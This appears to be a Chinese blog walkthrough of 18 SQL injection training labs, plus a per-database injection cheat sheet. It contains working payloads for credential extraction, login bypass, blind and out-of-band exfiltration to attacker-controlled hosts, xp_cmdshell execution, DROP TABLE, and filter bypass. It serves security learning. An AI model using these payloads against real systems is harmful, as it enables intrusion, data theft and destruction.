抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

SQL injection

题目1:SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

题目链接点击进入

解题思路:
利用 OR 1=1 构造永真条件,绕过原有过滤,显示所有数据。

参考注入语句:

1
filter?category=Lifestyle'+OR+1=1--

结果分析:

1
SELECT * FROM products WHERE category = 'Gifts' OR 1=1 --AND released = 1

1=1 永真,OR 条件成立,查询成功。

题目2:SQL injection vulnerability allowing login bypass

题目链接点击进入

解题思路:
利用 AND 1=1 或注释符 # 绕过密码验证。

参考注入语句:

1
2
administrator' AND 1=1#
administrator'--

结果分析:

1
2
3
SELECT * FROM users WHERE username = 'administrator' AND 1=1#
-- 或
SELECT * FROM users WHERE username = 'administrator'--

1=1 永真则 AND 执行成功。

题目3:SQL injection attack, querying the database type and version on Oracle

题目链接点击进入

解题思路:
通过 UNION 注入查询不同数据库的版本信息。

数据库 查询语句
Oracle SELECT banner FROM v$versionSELECT version FROM v$instance
Microsoft SELECT @@version
PostgreSQL SELECT version()
MySQL SELECT @@version

可以快速使用 ' ORDER BY 1-- 确认有多少列,Oracle 需 FROM dual

参考注入语句:

1
2
' ORDER BY 1--
'+UNION+SELECT+BANNER,+NULL+FROM+v$version#

题目4:SQL injection attack, querying the database type and version on MySQL and Microsoft

题目链接点击进入

解题思路:
利用 ORDER BYUNION SELECT 判断列数并查询版本。

参考注入语句:

1
2
3
' ORDER BY 1--
'+union+select+'1','2'--
'+union+select+@@version,2--

结果分析:
根据报错和回显判断列数,最终获取数据库版本。

题目5:SQL injection attack, listing the database contents on non-Oracle databases

题目链接点击进入

解题思路:
利用 information_schema 枚举表和列,获取敏感数据。

知识点补充:

  • information_schema.tables 用于列出当前数据库系统中所有表的信息。
  • 常用字段:table_schematable_nametable_typeengine(MySQL)、create_time(MySQL)等。
  • 注意:在某些数据库中,# 并不是标准注释符,尤其是 SQL Server 中,推荐使用 --

参考注入语句:

1
2
3
' UNION SELECT table_name,NULL FROM information_schema.tables--
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users_xxxx'--
' UNION SELECT username_xxxx,password_xxxx FROM users_xxxx--

结果分析:
成功枚举表、列并获取用户数据。

题目6:SQL injection attack, listing the database contents on Oracle

题目链接点击进入

解题思路:
Oracle 要求所有 SELECT 语句必须有 FROM 子句。dual 是一个内建的单行虚拟表。

参考注入语句:

1
2
3
4
' UNION SELECT '1','2' FROM dual--
' UNION SELECT table_name,NULL FROM all_tables--
' UNION SELECT column_name,NULL FROM all_tab_columns WHERE table_name='USERS_XXXX'--
' UNION SELECT USERNAME_XXXX,PASSWORD_XXXX FROM USERS_XXXX--

结果分析:
成功枚举表、列并获取用户数据。

题目7:SQL injection UNION attack, determining the number of columns returned by the query

题目链接点击进入

解题思路:
逐步增加 NULL 数量,直到不报错。

参考注入语句:

1
' UNION SELECT NULL,NULL,NULL--

结果分析:
确定 UNION 可用的列数。

题目8:SQL injection UNION attack, finding a column containing text

题目链接点击进入

解题思路:
在每一列插入文本,观察哪一列能正常显示。

参考注入语句:

1
' UNION SELECT NULL,'EuHnXl',NULL--

结果分析:
找到可显示文本的列。

题目9:SQL injection UNION attack, retrieving data from other tables

题目链接点击进入

解题思路:
确定列数和可显示列后,直接查询敏感表。

参考注入语句:

1
' UNION SELECT username, password FROM users--

结果分析:
成功获取用户表数据。

题目10:SQL injection UNION attack, retrieving multiple values in a single column

题目链接点击进入

解题思路:
||CONCAT() 将多列合并到一列。

参考注入语句:

1
' UNION SELECT NULL,username||'~'||password FROM users--

结果分析:
用户名和密码合并显示。

题目11:Blind SQL injection with conditional responses

题目链接点击进入

解题思路:
通过页面响应内容判断条件真假,逐步猜解数据。

参考注入语句:

1
2
3
4
' AND 1=1--
' AND 1=2--
' AND (SELECT 'a' FROM users WHERE username='administrator')='a'--
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a'--

盲注攻击中用法(逐字符猜解):
结合布尔比较:

1
'AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator'='a'--

用于判断密码首字符是否为 'a'。如果返回 true,就继续猜第 2 位:

1
'AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator'='b'--

以此类推,直到把整段密码(或任何字段值)猜出来。

最后使用 intruder 模块直接爆破。

结果分析:
最终得到密码 password=htyvopt0wfqluh7zsqo6

image.png

题目12:Blind SQL injection with conditional errors

题目链接点击进入

解题思路:
利用条件错误(如除零)判断真假。

参考注入语句:

1
2
3
' AND (SELECT CASE WHEN (1=0) THEN TO_CHAR(1/0) ELSE 'a' END FROM dual) = 'a'--
' AND (SELECT CASE WHEN LENGTH(password) > 1 THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE username='administrator') = 'a'--
' AND (SELECT CASE WHEN SUBSTR(password, 1, 1) = 'a' THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE username='administrator') = 'a'--

结果分析:
通过页面报错与否判断条件真假,逐步猜解数据。

最终得到密码 password=(下图懒得写了)

image 1.png

题目13:Visible error-based SQL injection

题目链接点击进入

解题思路:
强制类型转换等方式让数据库报错并泄露数据。

参考注入语句:

1
' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--

结果分析:
错误信息中包含敏感数据。

题目14:Blind SQL injection with time delays

题目链接点击进入

解题思路:
利用数据库延迟函数,通过响应时间判断条件真假。

参考注入语句:

1
'||pg_sleep(3)--

结果分析:
页面延迟即为条件为真。

题目15:Blind SQL injection with time delays and information retrieval

题目链接点击进入

解题思路:
结合条件判断和延迟函数,逐字符猜解数据。

参考注入语句:

1
'%3BSELECT CASE WHEN (username='administrator' AND SUBSTRING(password,1,1)='a') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

结果分析:
条件为真页面延迟。

密码如下图:

image 2.png

题目16:Blind SQL injection with out-of-band interaction

题目链接点击进入

解题思路:
利用数据库的外部请求能力(如 DNS/HTTP)带外获取数据。

参考注入语句:

1
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml version="1.0" encoding="UTF-8"%3f><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://你的Collaborator地址/"> %remote;]>'),'/l')+FROM+dual--

结果分析:
敏感数据通过 DNS 等方式外带。

题目17:Blind SQL injection with out-of-band data exfiltration

题目链接点击进入

解题思路:
将敏感数据嵌入到带外请求中发送。

参考注入语句:

1
'+UNION+SELECT+EXTRACTVALUE(xmltype('<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://'(SELECT password FROM users WHERE username='administrator')'.你的Collaborator地址/"> %remote;]>'),'/l')+FROM+dual--

结果分析:
敏感数据通过 DNS 等方式外带。

题目18:SQL injection with filter bypass via XML encoding

题目链接点击进入

解题思路:
利用 XML 实体编码等方式绕过 Web 层过滤。

参考注入语句:

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1 </productId>
<storeId><@hex_entities>1 UNION SELECT username ||'-'||password FROM users</@hex_entities></storeId>
</stockCheck>

结果分析:
注入语句被成功解析,绕过了过滤。


各类数据库注入方式与常见技巧总结

MySQL

  • 版本信息SELECT @@versionSELECT version()
  • 系统库information_schema(表、列、库等元数据)
  • 查表SELECT table_name FROM information_schema.tables WHERE table_schema=database()
  • 查列SELECT column_name FROM information_schema.columns WHERE table_name='users'
  • 字符串连接CONCAT()CONCAT_WS()||(部分版本)
  • 注释符-- (注意空格)、#/* ... */
  • 延迟函数SLEEP(n)BENCHMARK()
  • 报错注入AND updatexml(1,concat(0x7e,(SELECT user())),0)AND extractvalue(1,concat(0x7e,(SELECT database())))
  • 盲注技巧:布尔型、时间型、基于报错、基于堆叠语句(如1;SELECT ...,需开启多语句)
  • 带外注入LOAD_FILE()INTO OUTFILE、DNS外带(如select load_file('\\attacker.com\a')
  • 常见绕过技巧:宽字节注入、双写、关键字分割、大小写混淆、内联注释、编码、空格替换、函数嵌套、十六进制/Unicode编码

Microsoft SQL Server

  • 版本信息SELECT @@versionSELECT SERVERPROPERTY('ProductVersion')
  • 系统库mastermsdbtempdbmodelinformation_schemasysobjectssyscolumns
  • 查表SELECT name FROM sysobjects WHERE xtype='U'SELECT table_name FROM information_schema.tables
  • 查列SELECT name FROM syscolumns WHERE id=OBJECT_ID('users')SELECT column_name FROM information_schema.columns WHERE table_name='users'
  • 字符串连接+
  • 注释符--/* ... */
  • 延迟函数WAITFOR DELAY '0:0:5'WAITFOR TIME '23:59:59'
  • 报错注入AND 1=CONVERT(int,(SELECT @@version))AND 1=CAST((SELECT name FROM master..sysdatabases) AS int)
  • 盲注技巧:布尔型、时间型、基于报错、堆叠注入(如1; EXEC xp_cmdshell 'whoami',需权限)
  • 带外注入xp_cmdshellxp_dirtree、UNC路径(如\attacker.com\a
  • 常见绕过技巧:关键字截断、十六进制/Unicode编码、堆叠注入、空格替换、注释符变形、函数嵌套

PostgreSQL

  • 版本信息SELECT version()
  • 系统库information_schemapg_catalog(如pg_tablespg_classpg_user
  • 查表SELECT tablename FROM pg_tables WHERE schemaname='public'SELECT table_name FROM information_schema.tables
  • 查列SELECT column_name FROM information_schema.columns WHERE table_name='users'
  • 字符串连接||
  • 注释符--/* ... */
  • 延迟函数pg_sleep(n)
  • 报错注入AND cast((SELECT version()) AS int)(会报错并泄露信息)
  • 盲注技巧:布尔型、时间型、基于报错、堆叠注入(如1;SELECT ...
  • 带外注入COPY ... TO PROGRAM、DNS外带(如COPY (SELECT ...) TO PROGRAM 'curl http://attacker.com/$(...)'
  • 常见绕过技巧:多语句注入、函数嵌套、编码、空格替换、关键字变形

Oracle

  • 版本信息SELECT banner FROM v$versionSELECT version FROM v$instance
  • 系统库/视图all_tablesall_tab_columnsuser_tablesdba_users(需权限)
  • 查表SELECT table_name FROM all_tablesSELECT table_name FROM user_tables
  • 查列SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
  • 字符串连接||
  • 注释符--/* ... */
  • 延迟函数DBMS_LOCK.SLEEP(n)
  • 报错注入AND 1=(SELECT 1 FROM dual WHERE 1=UTL_INADDR.get_host_address((SELECT banner FROM v$version WHERE ROWNUM=1)))AND 1=to_number((SELECT user FROM dual))
  • 盲注技巧:布尔型、时间型、基于报错、堆叠注入(部分环境支持)
  • 带外注入UTL_HTTP.REQUESTUTL_INADDR.GET_HOST_ADDRESS、XMLType外带、DNS/HTTP外带
  • 常见绕过技巧:注释符变形、函数嵌套、关键字大小写、特殊符号分割、空格替换、内联注释

通用注入技巧与绕过方法

  • 宽字节注入:利用GBK等多字节编码,绕过过滤(如 %df'
  • 双写绕过:如 UNION SELECTOR 1=1(双空格)
  • 关键字分割:如 UN/**/IONSE/**/LECTUNION/*!select*/
  • 空格替换:用Tab、换行、注释、括号、逗号等替换空格
  • 内联注释:如 /*!select*//*!50000union*/
  • 大小写混淆:如 UnIoN SeLeCt
  • 编码绕过:URL编码、Unicode编码、十六进制编码
  • 函数嵌套:如 updatexml()extractvalue()char()concat_ws()
  • 堆叠注入:如 1;SELECT ...(部分数据库支持)
  • 多语句注入:如 1';DROP TABLE users;--
  • 特殊符号绕过:如用%0a%09%0b等控制字符
  • 注释符变形:如--+--%0a#/*...*/
  • 利用视图/存储过程/函数:如sys_exec()xp_cmdshelldbms_pipe.receive_message()

注:实际注入时应根据目标数据库类型、过滤规则、回显情况灵活组合上述技巧。


评论